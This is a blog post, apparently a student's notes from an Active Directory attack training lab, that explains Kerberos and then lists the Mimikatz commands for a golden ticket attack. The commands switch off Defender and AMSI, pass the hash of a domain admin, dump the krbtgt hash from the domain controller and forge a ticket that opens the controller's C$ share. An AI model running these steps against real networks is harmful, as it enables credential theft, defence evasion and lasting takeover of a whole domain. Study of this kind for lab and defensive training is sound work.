Skip to main content

Domain dominance, Golden ticket attack - Part 3


In our last lecture we achieved domain admin privilege. Now we will see some persistence mechanism that we can do when we have domain admin privilege. 

Lets see how kerberos works:


  1. Client sends his/her’s timestamp to the kdc-key distribution center or dc. The timestamp is signed and encrypted with the ntlm hash of the user password. This is to prove that the user who is sending the request is actual user. This is called AS-REQ.
  2. The DC receive this request and decrypt the hash. How can dc decrypt that? Because dc has the ntlm password hash of all user. Now dc will generate a TGT and send it to the user. This TGT is signed by DC’s special account hash which is called krbtgt. No system can decrypt this hash except the DC. Then it sends this to the user. This is called AS-REP.
  3. Now client receive the TGT but it cannot decrypt it because it does not have the krbtgt ntlm password hash or krbtgt rc4 password hash, which only dc has. So client sends this TGT back to dc along with specifying that which service client want to access. This is called TGS-REQ. Client want TGS ticket of the service that it want to access from dc.
  4. DC receives it decrypt it using its krbtgt ntlm password hash and come to know that which service the client want to access. This is the only validation that is done here for up to 20 minutes. If dc can successfully decrypts it then it assumes that whatever the request the client has made is valid. Then dc create the TGS ticket and encrypt it with the password hash of that service account that client want to access. Then send it to client. This is called TGS-REP.
  5. Then client present this ticket to the server where the service is hosted. This is how the total process works.

Almost every steps of this workflow is abuseable.

Golden ticket attack:

A golden ticket is signed and encrypted by krbtgt account hash of dc which makes it a valid TGT ticket. We can use any user to impersonate as user validation is done once the TGT is 20 minutes old but its better to use real account. The krbtgt account hash can be used to impersonate any user with any privileges from a non-domain joined machine. Single password or password change has no effect in this attack. 



Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin. 

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

or

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Now you will get krbtgt account hash. 

Now go to any machine or your studentadmin machine where mimikatz script is present (also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /krbtgt:<krbtgt account ntlm hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Now you will get the golden ticket. Give klist command to see that. 

Using that ticket access cifs service:

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

You will get access. 














Comments

Popular posts from this blog

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   -->...

Installtion of SQLMutant tool

This tool is perfectly works on ubuntu 24 system. And I found it is not working properly in kali linux 24 version.   https://github.com/blackhatethicalhacking/SQLMutant/tree/main This tool need to use along with sqlmap tool. Showing this cheat sheet for kali or debian based system.  This tool actually analyze everything and give you the vulnerable url where sql injection is possible. You just need to use then sqlmap to exploit that.   Prerequisite: apt install pipx -y (for ubuntu) pip3 install uro or pipx install uro pipx ensurepath pipx completions  (not needed)  source ~/.bashrc   or restart system If go tool is not installed then run the below two commands first ( golang-go ) or follow this link to install go (https://mahimfiroj.blogspot.com/2024/12/installing-nuclei-in-kali.html) otherwise skip this step.   dpkg -l | grep packagename (Using this command you can check package is installed or not) apt install gccgo-go -y or apt install gol...

net command cheat sheet

  To see what users present in the system: net user To see local groups in the system: net localgroup To see domain groups. This should be run on a domain controller: net group To see the details of a user along with his/her group membership: net user mahim To see who are the members of a particular group (local machine): net localgroup "administrators"    (These are not case sensitive. You can use administrators or Administrators. Both will give you same result. To see who are the members of a particular group (domain machine): net group "domain admins" Create a local user: net user localuser1 MyP@ssw0rd /add Create a domain user: net user domainuser1 MyP@ssw0rd /add /domain Add the local user to local admin group: net localgroup Administrators localuser1 /add Add the user to domain admin group: net group "Domain Admins" domainuser1 /add /domain Avi